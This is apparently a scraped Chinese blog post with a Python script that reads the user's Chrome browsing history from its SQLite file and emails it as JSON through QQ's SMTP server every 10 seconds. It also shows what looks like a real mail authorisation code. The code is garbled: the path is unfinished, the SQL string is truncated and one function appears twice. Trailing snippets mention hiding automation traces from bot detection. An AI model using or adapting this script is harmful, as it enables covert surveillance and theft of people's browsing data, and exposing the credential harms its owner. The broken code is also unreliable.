python 讀取谷歌瀏覽器訪問記錄

2021-10-04 05:39:44 字數 3248 閱讀 4468

import sqlite3 as db

import getpass

user_name = getpass.getuser(

)# 獲取當前使用者名稱

# 從sqlite檔案中讀取資料

defreadfronsqllite

(db_path,exectcmd)

: conn = db.connect(db_path)

# 該 api 開啟乙個到 sqlite 資料庫檔案 database 的鏈結,如果資料庫成功開啟,則返回乙個連線物件

cursor=conn.cursor(

)# 該例程建立乙個 cursor,將在 python 資料庫程式設計中用到。

conn.row_factory=db.row # 可訪問列資訊

cursor.execute(exectcmd)

#該例程執行乙個 sql 語句

rows=cursor.fetchall(

)#該例程獲取查詢結果集中所有(剩餘)的行,返回乙個列表。當沒有可用的行時,則返回乙個空的列表。

return rows

#print(rows[0][2]) # 選擇某一列資料

path1 =

'''c:/users/'''

path2 =

print

(user_name)

path = path1 + user_name + path2;

sql =

"select url,title,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') as time from urls where datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') >=datetime('now','start of day','+0 day') and datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime')result = readfronsqllite(path,sql)

import smtplib

import json

from email.mime.text import mimetext

from email.header import header

receivers =

['[email protected]'

]sender =

'[email protected]'

# 接收郵件,可設定為你的qq郵箱或者其他郵箱

message = mimetext( json.dumps(result, ensure_ascii=

false),

'plain'

,'utf-8'

)message[

'from'

]= header(

"devin"

,'utf-8'

)# 傳送者

message[

'to'

]= header(

"簡單"

,'utf-8'

)# 接收者

defsendemail()

: subject =

'谷歌瀏覽器'

message[

'subject'

]= header(subject,

'utf-8'

)try

: smtpobj = smtplib.smtp(

) smtpobj.connect(

"smtp.qq.com",25

)# 25 為 smtp 埠號

smtpobj.login(

"[email protected]"

,"password"

) smtpobj.sendmail(sender, receivers, message.as_string())

print

("郵件傳送成功"

)except smtplib.smtpexception:

print

("error: 無法傳送郵件"

)

def

sendemail()

: subject =

'谷歌瀏覽器'

message[

'subject'

]= header(subject,

'utf-8'

)try

: smtpobj = smtplib.smtp(

) smtpobj.connect(

"smtp.qq.com",25

)# 25 為 smtp 埠號

smtpobj.login(

"[email protected]"

,"wjenghtjbtxnfjgi"

) smtpobj.sendmail(sender, receivers, message.as_string())

print

("郵件傳送成功"

)except smtplib.smtpexception:

print

("error: 無法傳送郵件"

)from datetime import datetime

import os

from apscheduler.schedulers.blocking import blockingscheduler

if __name__ ==

'__main__'

: scheduler = blockingscheduler(

) scheduler.add_job(sendemail,

'interval'

, seconds=10)

print

('press ctrl+ to exit'

.format

('break'

if os.name ==

'nt'

else

'c '))

try:

scheduler.start(

)except

(keyboardinterrupt, systemexit)

:pass

讀取谷歌瀏覽器history 檔案

chrome上網記錄提取小試 history 知乎 zhihu.com chrome歷史記錄分析 巨獸 墨菲特 cnblogs.com 這個檔案是sqllite格式 python 讀取sqllite 1 coding utf8 23 4 author wang yanlong 5date 2017 ...

谷歌瀏覽器去掉訪問痕跡

chrome options.add argument disable blink features automationcontrolled 就是這一行告訴chrome去掉了webdriver痕跡 初始化工作 path r d soft tools 001 chromedriver 建立乙個引數物...

谷歌瀏覽器

熬了這麼久終於想弄第二彈,謝謝大家對我第一彈的支援,但是這次的第二彈的豬腳我選擇的是新興的谷歌遊覽器chrome,這裡不把其他基於谷歌遊覽器核心的其他極速版遊覽器列入考慮,因為早在第一彈我已經預見國內ie核心的遊覽器肯定要出雙核,現在事實證明不斷跟上技術的變革才是王道,但是他們的更新沒有chrome...